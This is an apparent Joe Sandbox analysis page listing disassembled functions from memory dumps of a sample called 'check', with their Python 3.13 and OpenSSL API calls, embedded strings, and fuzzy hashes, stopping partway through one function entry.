PyErr_Format.PYTHON313 ref: 00007FF810C42D49
PyErr_Format.PYTHON313 ref: 00007FF810C42D8F
_Py_Dealloc.PYTHON313 ref: 00007FF810C42DB2
_Py_Dealloc.PYTHON313 ref: 00007FF810C42DE5

Strings

argument for %.200s%s given by name ('%U') and position (%d), xrefs: 00007FF810C42D2D
%.200s%s takes %s %d positional argument%s (%zd given), xrefs: 00007FF810C428C1
%.200s%s takes at most %d %sargument%s (%zd given), xrefs: 00007FF810C427D1
function, xrefs: 00007FF810C427B8, 00007FF810C42832, 00007FF810C42880, 00007FF810C42A4F, 00007FF810C42AA5, 00007FF810C42D16
%.200s%s missing required keyword-only argument '%U', xrefs: 00007FF810C42AD5
at least, xrefs: 00007FF810C42A65
at most, xrefs: 00007FF810C42895
keyword , xrefs: 00007FF810C427D8
this function, xrefs: 00007FF810C42D6E
%.200s%s takes no positional arguments, xrefs: 00007FF810C42843
%.200s%s missing required argument '%U' (pos %d), xrefs: 00007FF810C42B13
exactly, xrefs: 00007FF810C4289C, 00007FF810C42A6F
'%S' is an invalid keyword argument for %.200s%s, xrefs: 00007FF810C42D75

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_Format$DeallocDict_$ContainsEqualItemSequence_Tuple_Unicode_
String ID: %.200s%s missing required argument '%U' (pos %d)$%.200s%s missing required keyword-only argument '%U'$%.200s%s takes %s %d positional argument%s (%zd given)$%.200s%s takes at most %d %sargument%s (%zd given)$%.200s%s takes no positional arguments$'%S' is an invalid keyword argument for %.200s%s$argument for %.200s%s given by name ('%U') and position (%d)$at least$at most$exactly$function$keyword $this function
API String ID: 2052751852-3030676885
Opcode ID: d9e1165627fdbc4a1794e296426be5d0ec241164baf23a986f2b39d9f2d4a47f
Instruction ID: b3eba2485e5b67dc3df435bc75c599587b6755af42e2c836c6799fd4d0685eaa
Opcode Fuzzy Hash: d9e1165627fdbc4a1794e296426be5d0ec241164baf23a986f2b39d9f2d4a47f
Instruction Fuzzy Hash: 45127E36B09F4686EB118F15E8916A977A1FF64BE0F944236DA8E87764DF3CE441CB00

Function 00007FF810C4BD20 Relevance: 45.9, APIs: 21, Strings: 5, Instructions: 367COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF810C413B0: PyNumber_Add.PYTHON313 ref: 00007FF810C41450
Part of subcall function 00007FF810C413B0: _Py_Dealloc.PYTHON313 ref: 00007FF810C41470
Part of subcall function 00007FF810C413B0: _Py_Dealloc.PYTHON313 ref: 00007FF810C41484

PyObject_VectorcallMethod.PYTHON313 ref: 00007FF810C4BD85
PyObject_Vectorcall.PYTHON313 ref: 00007FF810C4BE59
_Py_Dealloc.PYTHON313 ref: 00007FF810C4BE70
_Py_Dealloc.PYTHON313 ref: 00007FF810C4BEB5
PyType_IsSubtype.PYTHON313 ref: 00007FF810C4BF19
PySet_Contains.PYTHON313 ref: 00007FF810C4BF3B
_Py_Dealloc.PYTHON313 ref: 00007FF810C4BF51

Part of subcall function 00007FF810C43520: PyDict_GetItemWithError.PYTHON313 ref: 00007FF810C4353B
Part of subcall function 00007FF810C43520: PyErr_Occurred.PYTHON313 ref: 00007FF810C43549
Part of subcall function 00007FF810C43520: PyErr_SetObject.PYTHON313 ref: 00007FF810C43561

PyObject_Vectorcall.PYTHON313 ref: 00007FF810C4BFC8
_Py_Dealloc.PYTHON313 ref: 00007FF810C4BFDF
_Py_Dealloc.PYTHON313 ref: 00007FF810C4C020
PyObject_Vectorcall.PYTHON313 ref: 00007FF810C4C0B5
_Py_Dealloc.PYTHON313 ref: 00007FF810C4C0CC

Part of subcall function 00007FF810C43900: PyThreadState_Get.PYTHON313 ref: 00007FF810C43922
Part of subcall function 00007FF810C43900: PyErr_Fetch.PYTHON313 ref: 00007FF810C4393A
Part of subcall function 00007FF810C43900: PyCode_NewEmpty.PYTHON313 ref: 00007FF810C4394D
Part of subcall function 00007FF810C43900: PyFrame_New.PYTHON313 ref: 00007FF810C43967
Part of subcall function 00007FF810C43900: _Py_Dealloc.PYTHON313 ref: 00007FF810C43982
Part of subcall function 00007FF810C43900: _PyErr_ChainExceptions1.PYTHON313 ref: 00007FF810C4398D

_Py_Dealloc.PYTHON313 ref: 00007FF810C4BDED

Part of subcall function 00007FF810C43880: PyErr_Format.PYTHON313 ref: 00007FF810C438B4

_Py_Dealloc.PYTHON313 ref: 00007FF810C4C2C5

Strings

set, xrefs: 00007FF810C4BF23
feed, xrefs: 00007FF810C4BD9A, 00007FF810C4BE24, 00007FF810C4BEF0, 00007FF810C4BFF1, 00007FF810C4C078, 00007FF810C4C107, 00007FF810C4C182, 00007FF810C4C21D, 00007FF810C4C296
str, xrefs: 00007FF810C4C284
bool, xrefs: 00007FF810C4BDC3, 00007FF810C4BE8B, 00007FF810C4C1E3
str or None, xrefs: 00007FF810C4C044, 00007FF810C4C0F0

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc$Err_$Object_Vectorcall$ChainCode_ContainsDict_EmptyErrorExceptions1FetchFormatFrame_ItemMethodNumber_ObjectOccurredSet_State_SubtypeThreadType_With
String ID: bool$feed$set$str$str or None
API String ID: 870744741-82482222
Opcode ID: 770b53258a586d4a50e4a229c72186204e1ae3d8a1bc31be4c901530e787b9ce
Instruction ID: 86956c5f1e13e62e7e1ea31bb852642494603fa19ede6367876df137505bb139
Opcode Fuzzy Hash: 770b53258a586d4a50e4a229c72186204e1ae3d8a1bc31be4c901530e787b9ce
Instruction Fuzzy Hash: CF022A35E09E0681EB648F61EC943B937A1BF65BF4F444231D98E8BBA5DE6DE4408F40

Function 00007FF810C4B1E0 Relevance: 44.1, APIs: 22, Strings: 3, Instructions: 384COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF810C413B0: PyNumber_Add.PYTHON313 ref: 00007FF810C41450
Part of subcall function 00007FF810C413B0: _Py_Dealloc.PYTHON313 ref: 00007FF810C41470
Part of subcall function 00007FF810C413B0: _Py_Dealloc.PYTHON313 ref: 00007FF810C41484

PyObject_Vectorcall.PYTHON313 ref: 00007FF810C4B28C
_Py_Dealloc.PYTHON313 ref: 00007FF810C4B2A3
_Py_Dealloc.PYTHON313 ref: 00007FF810C4B2E8
PyObject_Vectorcall.PYTHON313 ref: 00007FF810C4B352
_Py_Dealloc.PYTHON313 ref: 00007FF810C4B369
_Py_Dealloc.PYTHON313 ref: 00007FF810C4B3AA
_Py_Dealloc.PYTHON313 ref: 00007FF810C4B3E8
PyObject_VectorcallMethod.PYTHON313 ref: 00007FF810C4B443
_Py_Dealloc.PYTHON313 ref: 00007FF810C4B4AB
PyObject_VectorcallMethod.PYTHON313 ref: 00007FF810C4B4F1

Part of subcall function 00007FF810C43900: PyThreadState_Get.PYTHON313 ref: 00007FF810C43922
Part of subcall function 00007FF810C43900: PyErr_Fetch.PYTHON313 ref: 00007FF810C4393A
Part of subcall function 00007FF810C43900: PyCode_NewEmpty.PYTHON313 ref: 00007FF810C4394D
Part of subcall function 00007FF810C43900: PyFrame_New.PYTHON313 ref: 00007FF810C43967
Part of subcall function 00007FF810C43900: _Py_Dealloc.PYTHON313 ref: 00007FF810C43982
Part of subcall function 00007FF810C43900: _PyErr_ChainExceptions1.PYTHON313 ref: 00007FF810C4398D

_Py_Dealloc.PYTHON313 ref: 00007FF810C4B78D

Strings

feed, xrefs: 00007FF810C4B257, 00007FF810C4B37B, 00007FF810C4B3FA, 00007FF810C4B458, 00007FF810C4B506, 00007FF810C4B68D, 00007FF810C4B736, 00007FF810C4B7CD, 00007FF810C4B804
str, xrefs: 00007FF810C4B7C0, 00007FF810C4B7F8
bool, xrefs: 00007FF810C4B2BE, 00007FF810C4B3C0, 00007FF810C4B481, 00007FF810C4B54B

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc$Object_Vectorcall$Err_Method$ChainCode_EmptyExceptions1FetchFrame_Number_State_Thread
String ID: bool$feed$str
API String ID: 290852211-2613659865
Opcode ID: aeaaa6d2ef240c537064905c4633be2b172796d4a953ad5378d697309c1f7440
Instruction ID: bd5549836da312a64d29dd8775924c46c75695c095455efb86a0c26443f9e7c0
Opcode Fuzzy Hash: aeaaa6d2ef240c537064905c4633be2b172796d4a953ad5378d697309c1f7440
Instruction Fuzzy Hash: 24022935A09E0281FB648F21ED553B977A1BFA5BF4F045231D98E8BBA5DE2CE4408F50

Function 00007FF810C49AE0 Relevance: 37.1, APIs: 18, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF810C413B0: PyNumber_Add.PYTHON313 ref: 00007FF810C41450
Part of subcall function 00007FF810C413B0: _Py_Dealloc.PYTHON313 ref: 00007FF810C41470
Part of subcall function 00007FF810C413B0: _Py_Dealloc.PYTHON313 ref: 00007FF810C41484

PyObject_RichCompare.PYTHON313 ref: 00007FF810C49B2F
_Py_Dealloc.PYTHON313 ref: 00007FF810C49B46
_Py_Dealloc.PYTHON313 ref: 00007FF810C49B96
PyType_IsSubtype.PYTHON313 ref: 00007FF810C49BE1
PySet_Contains.PYTHON313 ref: 00007FF810C49C24
_Py_Dealloc.PYTHON313 ref: 00007FF810C49C3A
PyObject_Vectorcall.PYTHON313 ref: 00007FF810C49C8A
_Py_Dealloc.PYTHON313 ref: 00007FF810C49CA1
_Py_Dealloc.PYTHON313 ref: 00007FF810C49CE6
PyObject_VectorcallMethod.PYTHON313 ref: 00007FF810C49D1D
_Py_Dealloc.PYTHON313 ref: 00007FF810C49F8B

Part of subcall function 00007FF810C43880: PyErr_Format.PYTHON313 ref: 00007FF810C438B4

Strings

set, xrefs: 00007FF810C49BEB
feed, xrefs: 00007FF810C49C02, 00007FF810C49EF2
bool, xrefs: 00007FF810C49B6C, 00007FF810C49CBC, 00007FF810C49D46, 00007FF810C49E09, 00007FF810C49EAF

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc$Object_$Vectorcall$CompareContainsErr_FormatMethodNumber_RichSet_SubtypeType_
String ID: bool$feed$set
API String ID: 581062071-561237756
Opcode ID: f550ac46673f6cd8a4f4d9d7c7b7a9e21b4d5d0015b4649959a45ff02ef8faf5
Instruction ID: e0bc0cc04c4eefd344b05ed4beaf411bad6bbe823318fca056f561ea69a1d8b0
Opcode Fuzzy Hash: f550ac46673f6cd8a4f4d9d7c7b7a9e21b4d5d0015b4649959a45ff02ef8faf5
Instruction Fuzzy Hash: 20D10A35F09E1281FB648B25EC553BA62A1FF65BF4F484231CA4E8A7A5DE2DE4408F50

Function 00007FF810C422D0 Relevance: 35.2, APIs: 10, Strings: 10, Instructions: 218stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140(?,?,?,?,?,?,?,00007FF810C4270F), ref: 00007FF810C42379

Strings

Invalid format string (| specified twice), xrefs: 00007FF810C424EE
Invalid format string (@ specified twice), xrefs: 00007FF810C42512
%, xrefs: 00007FF810C42356
Invalid format string ($ specified twice), xrefs: 00007FF810C42500
Invalid format string ($ before |), xrefs: 00007FF810C424E5
More keyword list entries (%d) than format specifiers (%d), xrefs: 00007FF810C42537
Invalid format string (@ without preceding | and $), xrefs: 00007FF810C42509
Empty parameter name after $, xrefs: 00007FF810C424F7
more argument specifiers than keyword list entries (remaining format:'%s'), xrefs: 00007FF810C424CB
Empty keyword parameter name, xrefs: 00007FF810C4239C

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: strchr
String ID: %$Empty keyword parameter name$Empty parameter name after $$Invalid format string ($ before |)$Invalid format string ($ specified twice)$Invalid format string (@ specified twice)$Invalid format string (@ without preceding | and $)$Invalid format string (| specified twice)$More keyword list entries (%d) than format specifiers (%d)$more argument specifiers than keyword list entries (remaining format:'%s')
API String ID: 2830005266-262724644
Opcode ID: cd98f1a444499798d19abd74cf2eacbf2b53244f332798d26e12eb1bc4f5acff
Instruction ID: 1425da749221247c1ca856f5ff4d81040af5f5948b7776882b9db5dca24937e5
Opcode Fuzzy Hash: cd98f1a444499798d19abd74cf2eacbf2b53244f332798d26e12eb1bc4f5acff
Instruction Fuzzy Hash: 0A918471B19E4286EB248F15EC6123837A5FF58BE4F945231DA9E8BB94DF3CE4518B00

Function 00007FF810C952D0 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 137COMMON

Download Yara Rule

APIs

_PyArg_CheckPositional.PYTHON313 ref: 00007FF810C952F5
PyBool_FromLong.PYTHON313 ref: 00007FF810C954E7

Strings

comparing strings with non-ASCII characters is not supported, xrefs: 00007FF810C953BB
unsupported operand types(s) or combination of types: '%.100s' and '%.100s', xrefs: 00007FF810C953F0
compare_digest, xrefs: 00007FF810C952E8
Buffer must be single dimension, xrefs: 00007FF810C9543E, 00007FF810C95487

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: Arg_Bool_CheckFromLongPositional
String ID: Buffer must be single dimension$compare_digest$comparing strings with non-ASCII characters is not supported$unsupported operand types(s) or combination of types: '%.100s' and '%.100s'
API String ID: 2366872897-2538118963
Opcode ID: aba1f7163b7003b8da3d151af26215349a2f73fd84e6f034d3ef5b60eca24cf3
Instruction ID: 4dd6d7f5a09280d426841189cc5db576209d46228d292201494cc9d2e5ac18e3
Opcode Fuzzy Hash: aba1f7163b7003b8da3d151af26215349a2f73fd84e6f034d3ef5b60eca24cf3
Instruction Fuzzy Hash: 79515CE2B08E46D2EB608BA5EC553793360FF58BE5F504232DA4E477A4DE2CE448CB40

Function 00007FF810C919D0 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 104threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF810C91B50: PyModule_GetState.PYTHON313(?,?,00000000,00007FF810C919F1), ref: 00007FF810C91B6A
Part of subcall function 00007FF810C91B50: _Py_hashtable_get.PYTHON313(?,?,00000000,00007FF810C919F1), ref: 00007FF810C91B7A
Part of subcall function 00007FF810C91B50: EVP_MD_up_ref.LIBCRYPTO-3(?,?,00000000,00007FF810C919F1), ref: 00007FF810C91B9D

EVP_MD_get_size.LIBCRYPTO-3 ref: 00007FF810C91A51
PyBytes_FromStringAndSize.PYTHON313 ref: 00007FF810C91A67
PyEval_SaveThread.PYTHON313 ref: 00007FF810C91A7A
PKCS5_PBKDF2_HMAC.LIBCRYPTO-3 ref: 00007FF810C91AAA
PyEval_RestoreThread.PYTHON313 ref: 00007FF810C91AB5
EVP_MD_free.LIBCRYPTO-3 ref: 00007FF810C91AD8
PyLong_AsLong.PYTHON313 ref: 00007FF810C91AF3
PyErr_Occurred.PYTHON313 ref: 00007FF810C91B04
PyErr_SetString.PYTHON313 ref: 00007FF810C91B20
PyErr_SetString.PYTHON313 ref: 00007FF810C91B39
PyErr_SetString.PYTHON313 ref: 00007FF810C94AFE
_Py_Dealloc.PYTHON313 ref: 00007FF810C94B19

Strings

iteration value must be greater than 0., xrefs: 00007FF810C91B2F
salt is too long., xrefs: 00007FF810C94AED
key length must be greater than 0., xrefs: 00007FF810C91B16
password is too long., xrefs: 00007FF810C94AE4

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: Err_String$Eval_Thread$Bytes_D_freeD_get_sizeD_up_refDeallocFromLongLong_Module_OccurredPy_hashtable_getRestoreSaveSizeState
String ID: iteration value must be greater than 0.$key length must be greater than 0.$password is too long.$salt is too long.
API String ID: 1537479992-530160643
Opcode ID: 3ca4ba3537b30e12f543db8459979636bd1837705d9576b2754340279f8cdc00
Instruction ID: 5aeae57e076bbb53f32a01d23158b8775f08fac28525bff8970bf2cbb4d5864a
Opcode Fuzzy Hash: 3ca4ba3537b30e12f543db8459979636bd1837705d9576b2754340279f8cdc00
Instruction Fuzzy Hash: 194103B6A09E42C6EB108BA1EC4523963A1BF89BF4F544235DE5E437A4DF3CE449CB00

Function 00007FF810C91000 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 134threadCOMMON

Download Yara Rule

APIs

PyObject_CheckBuffer.PYTHON313 ref: 00007FF810C91027
PyObject_GetBuffer.PYTHON313 ref: 00007FF810C91040
PyEval_SaveThread.PYTHON313 ref: 00007FF810C91089
EVP_DigestUpdate.LIBCRYPTO-3 ref: 00007FF810C910D7
PyEval_RestoreThread.PYTHON313 ref: 00007FF810C91109
PyBuffer_Release.PYTHON313 ref: 00007FF810C9111C
EVP_DigestUpdate.LIBCRYPTO-3 ref: 00007FF810C9118C
PyMutex_Lock.PYTHON313 ref: 00007FF810C911BD
PyMutex_Unlock.PYTHON313 ref: 00007FF810C911CC
PyErr_SetString.PYTHON313 ref: 00007FF810C94A02
PyErr_SetString.PYTHON313 ref: 00007FF810C94A20
PyBuffer_Release.PYTHON313 ref: 00007FF810C94A2B

Strings

Strings must be encoded before hashing, xrefs: 00007FF810C949E8
object supporting the buffer API required, xrefs: 00007FF810C949F1
Buffer must be single dimension, xrefs: 00007FF810C94A16

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: BufferBuffer_DigestErr_Eval_Mutex_Object_ReleaseStringThreadUpdate$CheckLockRestoreSaveUnlock
String ID: Buffer must be single dimension$Strings must be encoded before hashing$object supporting the buffer API required
API String ID: 3533770719-2943709887
Opcode ID: 77285322492e33f3b20657fd4a15d467a232abea8ec961c5b0a2e1f623c18f25
Instruction ID: 6b60a55e5945f637cc68599236c843b396cba04ecabd3cd64d49b167994ec609
Opcode Fuzzy Hash: 77285322492e33f3b20657fd4a15d467a232abea8ec961c5b0a2e1f623c18f25
Instruction Fuzzy Hash: 835140A1B08E82C5EB608B65AC4537A63A1BF89BE4F544335DA9E477E5DF3CE444CB00

Function 00007FF810C91730 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 138COMMON

Download Yara Rule

APIs

PyUnicode_AsUTF8AndSize.PYTHON313 ref: 00007FF810C91817
PyObject_GetBuffer.PYTHON313 ref: 00007FF810C91850
PyObject_GetBuffer.PYTHON313 ref: 00007FF810C91869
PyLong_AsLong.PYTHON313 ref: 00007FF810C9187F
PyBuffer_Release.PYTHON313 ref: 00007FF810C918FA
PyBuffer_Release.PYTHON313 ref: 00007FF810C91913
_PyArg_UnpackKeywords.PYTHON313 ref: 00007FF810C91974
_PyArg_BadArgument.PYTHON313 ref: 00007FF810C919A3
PyErr_Occurred.PYTHON313 ref: 00007FF810C919AE

Strings

pbkdf2_hmac, xrefs: 00007FF810C91995
embedded null character, xrefs: 00007FF810C94ACD
argument 'hash_name', xrefs: 00007FF810C9199C
str, xrefs: 00007FF810C9198E

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: Arg_BufferBuffer_Object_Release$ArgumentErr_KeywordsLongLong_OccurredSizeUnicode_Unpack
String ID: argument 'hash_name'$embedded null character$pbkdf2_hmac$str
API String ID: 3290050277-2538014573
Opcode ID: 66d34713723810b65afa57199e3c932011e1a8ae973513471e952d483a955baf
Instruction ID: c647c15c26675658e2c1838f46a574c5afa21d854686c516a4b85ad103353d1f
Opcode Fuzzy Hash: 66d34713723810b65afa57199e3c932011e1a8ae973513471e952d483a955baf
Instruction Fuzzy Hash: EF611C62A18F85C1EB60CB91E8453BA63A0FF99BE4F451335DA9D46B94DF3CE544CB00

Function 00007FF810C93420 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 93stringCOMMON

Download Yara Rule

APIs

PyModule_GetState.PYTHON313 ref: 00007FF810C9343B
PyModule_GetDef.PYTHON313 ref: 00007FF810C93447
PyDict_New.PYTHON313 ref: 00007FF810C93459
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF810C93490
PyUnicode_FromString.PYTHON313 ref: 00007FF810C934A1
PyObject_GetAttrString.PYTHON313 ref: 00007FF810C934B9
PyDict_SetItem.PYTHON313 ref: 00007FF810C934D5
PyDictProxy_New.PYTHON313 ref: 00007FF810C93514
PyModule_Add.PYTHON313 ref: 00007FF810C93527
_Py_Dealloc.PYTHON313 ref: 00007FF810C94FD7
_Py_Dealloc.PYTHON313 ref: 00007FF810C95008

Strings

_constructors, xrefs: 00007FF810C9351A
openssl_, xrefs: 00007FF810C93486

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: Module_$DeallocDict_String$AttrDictFromItemObject_Proxy_StateUnicode_strncmp
String ID: _constructors$openssl_
API String ID: 1574470188-3359357282
Opcode ID: 117008ba4b5f8ca73d77553d2b2e8d4ddd83506b125ec0b6d7a7d7bf61da898d
Instruction ID: 753f3736fe69c78bcc51b3c5c649c4d5ce762b39634d5cac1a1a9a330ccab597
Opcode Fuzzy Hash: 117008ba4b5f8ca73d77553d2b2e8d4ddd83506b125ec0b6d7a7d7bf61da898d
Instruction Fuzzy Hash: D331D8A1A09F42C2EB258B95AD9823967A4BF4DFE5F059235CE4D027A4EF3CE455CB00

Function 00007FF810C41060 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

PyObject_GetOptionalAttrString.PYTHON313 ref: 00007FF810C410AF
PyList_Append.PYTHON313 ref: 00007FF810C410D6
PyObject_Vectorcall.PYTHON313 ref: 00007FF810C410F7
_Py_Dealloc.PYTHON313 ref: 00007FF810C41110
PyList_New.PYTHON313 ref: 00007FF810C4113B
PyList_SetSlice.PYTHON313 ref: 00007FF810C4118B
_Py_Dealloc.PYTHON313 ref: 00007FF810C411A7
PyList_AsTuple.PYTHON313 ref: 00007FF810C411C9
_Py_Dealloc.PYTHON313 ref: 00007FF810C411E0
PyErr_SetString.PYTHON313 ref: 00007FF810C4120B
_Py_Dealloc.PYTHON313 ref: 00007FF810C4121F
_Py_Dealloc.PYTHON313 ref: 00007FF810C41238

Strings

__mro_entries__ must return a tuple, xrefs: 00007FF810C41201

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc$List_$Object_String$AppendAttrErr_OptionalSliceTupleVectorcall
String ID: __mro_entries__ must return a tuple
API String ID: 4203838443-2385075324
Opcode ID: 31f51d0b8d22180c5b1415fad93ff6a0b20f89bc7ab7b17ba78fef5b2a588833
Instruction ID: 6fe866e12ef31acc0c59efb51a5f524c3eaea256a849929ca7684a6a61dfdc45
Opcode Fuzzy Hash: 31f51d0b8d22180c5b1415fad93ff6a0b20f89bc7ab7b17ba78fef5b2a588833
Instruction Fuzzy Hash: F9512D36B09E4286EB158F55ED5427967A0BF95BF4F044231CE8ECAB64DE7CE4858B00

Function 00007FF810C43FC0 Relevance: 22.8, APIs: 11, Strings: 2, Instructions: 96COMMON

Download Yara Rule

APIs

PyObject_GetAttrString.PYTHON313 ref: 00007FF810C43FE8
PyErr_SetString.PYTHON313 ref: 00007FF810C44017
_Py_Dealloc.PYTHON313 ref: 00007FF810C4402B
_Py_Dealloc.PYTHON313 ref: 00007FF810C44044
PyDict_New.PYTHON313 ref: 00007FF810C44063
PyObject_GetAttr.PYTHON313 ref: 00007FF810C44089
